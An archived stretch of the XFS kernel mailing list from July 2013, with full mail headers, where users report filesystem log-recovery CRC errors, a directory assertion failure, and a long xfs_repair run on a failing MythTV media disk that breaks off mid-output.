[137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 731C07F37 for ; Sat, 13 Jul 2013 04:05:34 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5395930404E for ; Sat, 13 Jul 2013 02:05:30 -0700 (PDT) X-ASG-Debug-ID: 1373706324-04cbb04690ee4170001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id 4xWwz9MPfK94c69u (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 13 Jul 2013 02:05:25 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:content-transfer-encoding:in-reply-to; s=beta; bh= OhjJQsaNMepLgEXaDTcrJbD/WdvmUZg3kgg7sPsgbGg=; b=YB37iePFwXrQhi2g eQlMSJkAysAmoawzO7YNCBO0cLjTsENzHZYw9mTOgF9N7l5s22PoR2lzjlDTI44S MRIBrdubh3snvYUnJEi1jFdo6xFrivSOlLfyuJ0FmqAvmYCn/W40kAbdNyiwrB3d jqBXb4kjaUkon4kWRjMa5W2BpNw= Received: (qmail 6894 invoked from network); 13 Jul 2013 11:05:24 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 13 Jul 2013 11:05:24 +0200 Date: Sat, 13 Jul 2013 11:05:23 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: Stan Hoeppner , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130713090523.GA362@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> <20130711090755.GA363@x4> <20130712021737.GA5228@dastard> <20130712070721.GA359@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20130712070721.GA359@x4> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373706325 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136629 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.12 at 09:07 +0200, Markus Trippelsdorf wrote: > On 2013.07.12 at 12:17 +1000, Dave Chinner wrote: > > On Thu, Jul 11, 2013 at 11:07:55AM +0200, Markus Trippelsdorf wrote: > > > On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > > > > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > > > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > > > > > > > >> I was loosing my KDE settings bit by bit with every reboot during the > > > > >> bisection. First my window-rules disappeared, then my desktop background > > > > >> changed to default, then my taskbar moved from top to the bottom, etc. > > > > >> In the end I had to restore all my .files from backup. > > > > > > > > > > That's not filesystem corruption. That sounds more like someone not > > > > > using fsync in the apropriate place when overwriting a file.... > > > > > > > > From Sandeen's blog, March 2009: > > > > > > > > "I dunno how to resolve this right now. I talked to some nice KDE folks > > > > on irc; they basically want atomic writes, either you get your old file > > > > or your new file post-crash; and tempfile/sync/rename does this – but > > > > the fsync hurts on 78% of the Linux filesystems out there. So their > > > > KSaveFile class doesn’t fsync. So what to do, what to do.." > > > > > > > > That's 4 years ago. Is it possible the KDE devs are still not using > > > > fsync? Sure seems likely given Markus' problem. > > > > > > Looking at the source: > > > http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 > > > it appears that one can set an environment variable KDE_EXTRA_FSYNC to > > > address this issue. > > > > > > However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still > > > loose my KDE settings in case of a crash. So the whole fsync thing might > > > be a red herring. > > > > > > What's more this time I endend up with undeletable files in /tmp (for > > > example .X0-lock) after the crash: > > > > > > (/dev/sdb was mounted and unmounted normally before I ran xfs_repair) > > > > > > t@ubunt:~# xfs_repair /dev/sdb > > > Phase 1 - find and verify superblock... > > > Phase 2 - using internal log > > > - zero log... > > > - scan filesystem freespace and inode maps... > > > agi unlinked bucket 0 is 683435008 in ag 2 (inode=4978402304) > > > agi unlinked bucket 1 is 683435009 in ag 2 (inode=4978402305) > > > - found root inode chunk > > > > Again, these are signs that log recovery has not completed > > successfully or that for some reason it thought the log was clean. > > Can you please post the dmesg output after the crash when you go > > through the mount/unmount process before you run xfs_repair? > > Sure. > First boot after crash: > XFS (sdb2): Mounting Filesystem > XFS (sdb2): Starting recovery (logdev: internal) > XFS (sdb2): Ending recovery (logdev: internal) Some further observations: When I boot 3.2.0 after the crash log recovery works fine. When I boot 3.9.0 after the crash I get the following: [ 2.332989] XFS (sdc2): Mounting Filesystem [ 2.406206] XFS (sdc2): Starting recovery (logdev: internal) [ 2.418147] XFS (sdc2): log record CRC mismatch: found 0xdbcaef48, expected 0x69e7934e. [ 2.432718] ffffc9000063e000: 00 00 00 01 00 00 00 00 69 01 00 00 32 d6 93 e5 ........i...2... [ 2.440218] ffffc9000063e010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.448367] XFS (sdc2): log record CRC mismatch: found 0xaf1a53d, expected 0x38ec3424. [ 2.463336] ffffc9000063e000: 00 00 00 01 00 00 00 00 69 01 00 00 9a d5 a8 e7 ........i....... [ 2.470979] ffffc9000063e010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.479128] XFS (sdc2): log record CRC mismatch: found 0x8e2572f5, expected 0x7a48b5fb. [ 2.482963] ffffc9000063e000: 00 00 00 01 00 00 00 00 69 01 00 00 be 27 a7 7a ........i....'.z [ 2.484917] ffffc9000063e010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.487348] XFS (sdc2): log record CRC mismatch: found 0x96c174ce, expected 0x2e164f6f. [ 2.491305] ffffc9000063e000: 00 00 00 01 00 00 00 00 69 01 00 00 fc 4a 96 e7 ........i....J.. [ 2.493334] ffffc9000063e010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.495923] XFS (sdc2): log record CRC mismatch: found 0x7faa3171, expected 0xff793468. [ 2.499998] ffffc9000063e000: 00 00 00 01 00 00 00 00 69 01 00 00 6e 87 7d 90 ........i...n.}. [ 2.502069] ffffc9000063e010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.504629] XFS (sdc2): log record CRC mismatch: found 0x52b46483, expected 0xc34c4ddd. [ 2.508760] ffffc9000063e000: 00 00 00 01 00 00 00 00 69 01 00 00 7e 36 3f 2b ........i...~6?+ [ 2.510865] ffffc9000063e010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.513712] XFS (sdc2): log record CRC mismatch: found 0xdbcaef48, expected 0x69e7934e. [ 2.517892] ffffc90000edf000: 00 00 00 01 00 00 00 00 69 01 00 00 32 d6 93 e5 ........i...2... [ 2.520026] ffffc90000edf010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.526166] XFS (sdc2): log record CRC mismatch: found 0xaf1a53d, expected 0x38ec3424. [ 2.530421] ffffc90000edf000: 00 00 00 01 00 00 00 00 69 01 00 00 9a d5 a8 e7 ........i....... [ 2.532584] ffffc90000edf010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.539422] XFS (sdc2): log record CRC mismatch: found 0x8e2572f5, expected 0x7a48b5fb. [ 2.544853] ffffc90000edf000: 00 00 00 01 00 00 00 00 69 01 00 00 be 27 a7 7a ........i....'.z [ 2.547606] ffffc90000edf010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.560042] XFS (sdc2): log record CRC mismatch: found 0x96c174ce, expected 0x2e164f6f. [ 2.577113] ffffc90000edf000: 00 00 00 01 00 00 00 00 69 01 00 00 fc 4a 96 e7 ........i....J.. [ 2.585729] ffffc90000edf010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.589138] usb 4-2: new full-speed USB device number 2 using ohci_hcd [ 2.614466] XFS (sdc2): log record CRC mismatch: found 0x7faa3171, expected 0xff793468. [ 2.625827] tsc: Refined TSC clocksource calibration: 3210.828 MHz [ 2.625838] Switching to clocksource tsc [ 2.648762] ffffc90000edf000: 00 00 00 01 00 00 00 00 69 01 00 00 6e 87 7d 90 ........i...n.}. [ 2.657431] ffffc90000edf010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.673246] XFS (sdc2): log record CRC mismatch: found 0x52b46483, expected 0xc34c4ddd. [ 2.691869] ffffc90000edf000: 00 00 00 01 00 00 00 00 69 01 00 00 7e 36 3f 2b ........i...~6?+ [ 2.701352] ffffc90000edf010: 00 00 00 10 69 00 00 00 4e 41 52 54 2a 00 00 00 ....i...NART*... [ 2.714524] XFS (sdc2): Ending recovery (logdev: internal) [ 2.723389] VFS: Mounted root (xfs filesystem) readonly on device 8:34. [ 2.732808] devtmpfs: mounted When I boot the current Linus tree after the crash log recovery fails silently. -- Markus From davej@redhat.com Sat Jul 13 10:07:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A3D617F37 for ; Sat, 13 Jul 2013 10:07:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1AC06AC002 for ; Sat, 13 Jul 2013 08:07:04 -0700 (PDT) X-ASG-Debug-ID: 1373728023-04cbb0468fefbbb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id R8vGeNiat0TZRLD0 for ; Sat, 13 Jul 2013 08:07:04 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6DF70pw030037 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 13 Jul 2013 11:07:00 -0400 Received: from gelk.kernelslacker.org (ovpn-113-58.phx2.redhat.com [10.3.113.58]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6DF6rXm030344 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 13 Jul 2013 11:06:59 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.5) with ESMTP id r6DF6qij031088; Sat, 13 Jul 2013 11:06:52 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r6DF6oWH031087; Sat, 13 Jul 2013 11:06:51 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Sat, 13 Jul 2013 11:06:50 -0400 From: Dave Jones To: Dave Chinner Cc: Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Message-ID: <20130713150650.GA31035@redhat.com> X-ASG-Orig-Subj: Re: XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 Mail-Followup-To: Dave Jones , Dave Chinner , Linux Kernel , xfs@oss.sgi.com References: <20130712023930.GA6473@redhat.com> <20130713020030.GG3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130713020030.GG3438@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373728023 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, Jul 13, 2013 at 12:00:30PM +1000, Dave Chinner wrote: > On Thu, Jul 11, 2013 at 10:39:30PM -0400, Dave Jones wrote: > > Just saw this during boot after an unclean shutdown. It hung afterwards. > > > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 > .... > > [ 97.173730] [] xfs_dir2_sf_addname+0x43/0x760 [xfs] > > [ 97.173743] [] xfs_dir_createname+0x15c/0x1b0 [xfs] > > [ 97.173754] [] xfs_create+0x4cc/0x710 [xfs] > > [ 97.173764] [] xfs_vn_mknod+0x9a/0x1c0 [xfs] > > [ 97.173773] [] xfs_vn_create+0x13/0x20 [xfs] > > [ 97.173776] [] vfs_create+0x9d/0x100 > > [ 97.173778] [] do_last+0x925/0xe00 > > [ 97.173780] [] path_openat+0xbe/0x6f0 > > [ 97.173783] [] ? local_clock+0x3f/0x50 > > [ 97.173785] [] ? __alloc_fd+0xaf/0x200 > > [ 97.173787] [] do_filp_open+0x3a/0x90 > > [ 97.173789] [] ? __alloc_fd+0xaf/0x200 > > [ 97.173790] [] do_sys_open+0x10b/0x200 > > [ 97.173792] [] ? syscall_trace_enter+0x18/0x290 > > [ 97.173794] [] SyS_open+0x1e/0x20 > > > > This trace repeated a few times, then the same assertion was triggered from sys_renameat. > > That's rather curious. What this means is that there is either an > EIO or EEXIST error being returned from xfs_dir2_sf_lookup() when a > we're about to add the new entry. There are two things here - EIO > can only be returned if a shutdown has occurred - are there any > signs of a shutdown in the logs? not that I recall (machine is off, and remote right now). 1st time it was during boot (above), and 2nd time I hit it the machine kept fuzzing for a while afterwards. I'll see if I can reproduce it again on monday, and if so I'll grab an xfsdump for you to stare at. Dave From jra@baylink.com Sat Jul 13 16:29:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C160B7F37 for ; Sat, 13 Jul 2013 16:29:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A19BC304032 for ; Sat, 13 Jul 2013 14:29:45 -0700 (PDT) X-ASG-Debug-ID: 1373750980-04cb6c2a46cb85e0001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id OfpyntTlQiJzwzdE for ; Sat, 13 Jul 2013 14:29:40 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 157A91F004AC for ; Sat, 13 Jul 2013 17:29:40 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id CXIbQchim-CH for ; Sat, 13 Jul 2013 17:29:35 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 9427E1F004B6 for ; Sat, 13 Jul 2013 17:29:35 -0400 (EDT) Date: Sat, 13 Jul 2013 17:29:35 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <10640767.1356.1373750975524.JavaMail.root@benjamin.baylink.com> In-Reply-To: <18642856.1344.1373749779825.JavaMail.root@benjamin.baylink.com> Subject: XFS filesystem triggering assert in _repair 3.1.11 MIME-Version: 1.0 X-ASG-Orig-Subj: XFS filesystem triggering assert in _repair 3.1.11 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [24.144.83.141] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - FF3.0 (Linux)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1373750980 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136678 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 My sister's DVR runs MythTV (presently 0.23-fixes [26835]) on openSuSE 11.4: Linux plaintain 2.6.37.6-24-desktop #1 SMP PREEMPT 2012-10-18 22:36:08 +0200 i686 athlon i386 GNU/Linux It has had a number of XFS filesystems over the years for media storage, and except for one major flameout a few years ago when I had a PATA interface lose a cable wire -- which Dave politely helped me dig out from under -- it's been quite reliable. About halfway through June, a surge apparently put a hurtin on our 7 year old Antec power supply, and it slowly failed over the next couple weeks. In the process, its 12V rail apparently went first; this is my perceived cause for a 2TB deathstar giving me a SMART failure for Spin Retry Count. But the week before that, the 1TB deathstar started actually dropping sectors, and I copied all its data onto a freshly bought Seagate 3TB. 4 days later, when I noticed that SMART had tripped on the 2TB, I copied all its data to the same new 3TB, which didn't quite fill, and that drive has been well behaved. The *earlier* 3TB, though, hs been giving me trouble; it's filesystem has had some deeply buried problem that neither mounting nor running xfs_repair has been able to fix -- and it's probably been exacerbated by the fact that if I inadvertantly boot the box with that filesystem in fstab, and it tried to mount it while broken, a) it locks up that disk channel and b) the machine won't reboot, forcing me to hit the big orange switch. That's where I am right now: the drive was throwing a kernel oops if I mounted it, and xfs_repair would just lock up. I had to do a -L on it, after which it would mount and unmount cleanly, and xfs_repair runs and finds problems, but then fails an assert at the end and dies. Here's that entire repair run: ============================================================= plaintain:/var/log/mythtv # xfs_repair /dev/sdc2 Phase 1 - find and verify superblock... Not enough RAM available for repair to enable prefetching. This will be _slow_. You need at least 491MB RAM to run with prefetching enabled. Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... ir_freecount/free mismatch, inode chunk 1/2592, freecount 48 nfree 47 block (26,6078453-6078453) multiply claimed by cnt space tree, state - 2 block (26,6080485-6080485) multiply claimed by cnt space tree, state - 2 block (26,6086085-6086085) multiply claimed by cnt space tree, state - 2 block (26,6088021-6088021) multiply claimed by cnt space tree, state - 2 block (26,6090742-6090742) multiply claimed by cnt space tree, state - 2 block (26,6598495-6598495) multiply claimed by cnt space tree, state - 2 block (26,6675283-6675283) multiply claimed by cnt space tree, state - 2 block (26,6675571-6675571) multiply claimed by cnt space tree, state - 2 block (26,6677075-6677075) multiply claimed by cnt space tree, state - 2 block (26,6678323-6678323) multiply claimed by cnt space tree, state - 2 block (26,6691619-6691619) multiply claimed by cnt space tree, state - 2 block (26,7978069-7978069) multiply claimed by cnt space tree, state - 2 block (26,7978373-7978373) multiply claimed by cnt space tree, state - 2 block (26,8044104-8044104) multiply claimed by cnt space tree, state - 2 block (26,8046200-8046200) multiply claimed by cnt space tree, state - 2 block (26,8046456-8046456) multiply claimed by cnt space tree, state - 2 block (26,8048872-8048872) multiply claimed by cnt space tree, state - 2 block (26,8052216-8052216) multiply claimed by cnt space tree, state - 2 block (26,8054840-8054840) multiply claimed by cnt space tree, state - 2 block (26,8055128-8055128) multiply claimed by cnt space tree, state - 2 block (26,8058712-8058712) multiply claimed by cnt space tree, state - 2 block (26,8060904-8060904) multiply claimed by cnt space tree, state - 2 block (26,8062664-8062664) multiply claimed by cnt space tree, state - 2 block (26,8063976-8063976) multiply claimed by cnt space tree, state - 2 block (26,8064504-8064504) multiply claimed by cnt space tree, state - 2 block (26,8069192-8069192) multiply claimed by cnt space tree, state - 2 block (26,8069480-8069480) multiply claimed by cnt space tree, state - 2 block (26,8081096-8081096) multiply claimed by cnt space tree, state - 2 block (26,8083192-8083192) multiply claimed by cnt space tree, state - 2 block (26,8084824-8084824) multiply claimed by cnt space tree, state - 2 block (26,8086856-8086856) multiply claimed by cnt space tree, state - 2 block (26,8099096-8099096) multiply claimed by cnt space tree, state - 2 block (26,8102008-8102008) multiply claimed by cnt space tree, state - 2 block (26,8103048-8103048) multiply claimed by cnt space tree, state - 2 block (26,8105688-8105688) multiply claimed by cnt space tree, state - 2 block (26,8106744-8106744) multiply claimed by cnt space tree, state - 2 agf_freeblks 6334546, counted 6340626 in ag 26 sb_ifree 1118, counted 1201 sb_fdblocks 177570233, counted 188434072 - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 imap claims a free inode 536873565 is in use, correcting imap and clearing inode cleared inode 536873565 - agno = 2 entry "/008_20130328203000.mpg" at block 10 offset 296 in directory inode 1073789184 references invalid inode 18374686479671623679 clearing inode number in entry at offset 296... entry at block 10 offset 296 in directory inode 1073789184 has illegal name "/008_20130328203000.mpg": entry "/011_20130622233500.mpg" at block 10 offset 1656 in directory inode 1073789184 references invalid inode 18374686479671623679 clearing inode number in entry at offset 1656... entry at block 10 offset 1656 in directory inode 1073789184 has illegal name "/011_20130622233500.mpg": entry "/011_20130624003500.mpg.png" at block 13 offset 656 in directory inode 1073789184 references invalid inode 18374686479671623679 clearing inode number in entry at offset 656... entry at block 13 offset 656 in directory inode 1073789184 has illegal name "/011_20130624003500.mpg.png": entry "/013_20130429100000.mpg" at block 13 offset 816 in directory inode 1073789184 references invalid inode 18374686479671623679 clearing inode number in entry at offset 816... entry at block 13 offset 816 in directory inode 1073789184 has illegal name "/013_20130429100000.mpg": entry "/011_20130429183100.mpg" at block 13 offset 976 in directory inode 1073789184 references invalid inode 18374686479671623679 clearing inode number in entry at offset 976... entry at block 13 offset 976 in directory inode 1073789184 has illegal name "/011_20130429183100.mpg": entry "/011_20130430183100.mpg" at block 13 offset 1216 in directory inode 1073789184 references invalid inode 18374686479671623679 clearing inode number in entry at offset 1216... entry at block 13 offset 1216 in directory inode 1073789184 has illegal name "/011_20130430183100.mpg": entry "/025_20130509010100.mpg" at block 13 offset 3736 in directory inode 1073789184 references invalid inode 18374686479671623679 clearing inode number in entry at offset 3736... entry at block 13 offset 3736 in directory inode 1073789184 has illegal name "/025_20130509010100.mpg": entry "/011_20130509110000.mpg" at block 13 offset 3816 in directory inode 1073789184 references invalid inode 18374686479671623679 clearing inode number in entry at offset 3816... entry at block 13 offset 3816 in directory inode 1073789184 has illegal name "/011_20130509110000.mpg": data fork in ino 1136058713 claims free block 880392933 data fork in ino 1136058713 claims free block 880393189 data fork in ino 1136058713 claims free block 880393477 data fork in ino 1136058713 claims free block 880394262 data fork in ino 1136058713 claims free block 880394566 data fork in ino 1136058713 claims free block 880396406 data fork in ino 1136058713 claims free block 880459208 data fork in ino 1136058713 claims free block 880459976 data fork in ino 1136058713 claims free block 880461304 data fork in ino 1136058713 claims free block 880461560 data fork in ino 1136058713 claims free block 880463080 data fork in ino 1136058713 claims free block 880463704 data fork in ino 1136058713 claims free block 880463992 data fork in ino 1136058713 claims free block 880465016 data fork in ino 1136058713 claims free block 880467320 data fork in ino 1136058713 claims free block 880469960 data fork in ino 1136058713 claims free block 880470232 data fork in ino 1136058713 claims free block 880471464 data fork in ino 1136058713 claims free block 880473816 data fork in ino 1136058713 claims free block 880476008 data fork in ino 1136058713 claims free block 880476760 data fork in ino 1136058713 claims free block 880477768 data fork in ino 1136058713 claims free block 880479080 data fork in ino 1136058713 claims free block 880479336 data fork in ino 1136058713 claims free block 880479608 data fork in ino 1136058713 claims free block 880480376 data fork in ino 1136058713 claims free block 880483256 data fork in ino 1136058713 claims free block 880484008 data fork in ino 1136058713 claims free block 880484296 data fork in ino 1136058713 claims free block 880484584 data fork in ino 1136058713 claims free block 880495464 data fork in ino 1136058713 claims free block 880496216 data fork in ino 1136058713 claims free block 880497544 data fork in ino 1136058713 claims free block 880498296 data fork in ino 1136058713 claims free block 880499928 data fork in ino 1136058713 claims free block 880500680 data fork in ino 1136058713 claims free block 880501960 data fork in ino 1136058713 claims free block 880514200 data fork in ino 1136058713 claims free block 880515624 data fork in ino 1136058713 claims free block 880517112 data fork in ino 1136058713 claims free block 880517880 data fork in ino 1136058713 claims free block 880518152 data fork in ino 1136058713 claims free block 880519496 data fork in ino 1136058713 claims free block 880520808 data fork in ino 1136058713 claims free block 880521352 data fork in ino 1136058713 claims free block 880521848 data fork in ino 1136058713 claims free block 880522680 data fork in ino 1136058713 claims free block 880522681 data fork in ino 1136058713 claims free block 880522968 data fork in ino 1136058713 claims free block 880522969 data fork in ino 1136058713 claims free block 880523241 data fork in ino 1136058713 claims free block 880523242 data fork in ino 1136058713 claims free block 880523513 data fork in ino 1136058713 claims free block 880523514 data fork in ino 1136058713 claims free block 880523753 data fork in ino 1136058713 claims free block 880523754 data fork in ino 1136058713 claims free block 880524826 data fork in ino 1136058713 claims free block 880524827 data fork in ino 1136058713 claims free block 880525306 data fork in ino 1136058713 claims free block 880525307 data fork in ino 1136058713 claims free block 880526586 data fork in ino 1136058713 claims free block 880526587 data fork in ino 1136058713 claims free block 880526842 data fork in ino 1136058713 claims free block 880526843 data fork in ino 1136058713 claims free block 880527354 data fork in ino 1136058713 claims free block 880527355 data fork in ino 1136058713 claims free block 880527594 data fork in ino 1136058713 claims free block 880527595 data fork in ino 1136058713 claims free block 880527882 data fork in ino 1136058713 claims free block 880527883 data fork in ino 1136058713 claims free block 880528378 data fork in ino 1136058713 claims free block 880528379 data fork in ino 1136058713 claims free block 880528634 data fork in ino 1136058713 claims free block 880528635 data fork in ino 1136058713 claims free block 880529162 data fork in ino 1136058713 claims free block 880529163 data fork in ino 1136058713 claims free block 880529450 data fork in ino 1136058713 claims free block 880529451 data fork in ino 1136058713 claims free block 880530026 data fork in ino 1136058713 claims free block 880530027 data fork in ino 1136058713 claims free block 880530314 data fork in ino 1136058713 claims free block 880530315 data fork in ino 1136058713 claims free block 880530522 data fork in ino 1136058713 claims free block 880530523 data fork in ino 1136058713 claims free block 880530746 data fork in ino 1136058713 claims free block 880530747 data fork in ino 1136058713 claims free block 880531274 data fork in ino 1136058713 claims free block 880531275 data fork in ino 1136058713 claims free block 880531546 data fork in ino 1136058713 claims free block 880531547 data fork in ino 1136058713 claims free block 880531818 data fork in ino 1136058713 claims free block 880531819 data fork in ino 1136058713 claims free block 880532602 data fork in ino 1136058713 claims free block 880532603 data fork in ino 1136058713 claims free block 880532826 data fork in ino 1136058713 claims free block 880532827 data fork in ino 1136058713 claims free block 880533610 data fork in ino 1136058713 claims free block 880533611 data fork in ino 1136058713 claims free block 880533834 data fork in ino 1136058713 claims free block 880533835 data fork in ino 1136058713 claims free block 880534106 data fork in ino 1136058713 claims free block 880534107 data fork in ino 1136058713 claims free block 880534362 data fork in ino 1136058713 claims free block 880534363 data fork in ino 1136058713 claims free block 880534858 data fork in ino 1136058713 claims free block 880534859 data fork in ino 1136058713 claims free block 880535146 data fork in ino 1136058713 claims free block 880535147 data fork in ino 1136058713 claims free block 880535690 data fork in ino 1136058713 claims free block 880535691 data fork in ino 1136058713 claims free block 880535962 data fork in ino 1136058713 claims free block 880535963 data fork in ino 1136058713 claims free block 880536490 data fork in ino 1136058713 claims free block 880536491 data fork in ino 1136058713 claims free block 880536762 data fork in ino 1136058713 claims free block 880536763 data fork in ino 1136058713 claims free block 880537034 data fork in ino 1136058713 claims free block 880537035 data fork in ino 1136058713 claims free block 880537322 data fork in ino 1136058713 claims free block 880537323 data fork in ino 1136058713 claims free block 880537610 data fork in ino 1136058713 claims free block 880537611 data fork in ino 1136058713 claims free block 880541370 data fork in ino 1136058713 claims free block 880541371 data fork in ino 1136058713 claims free block 880541658 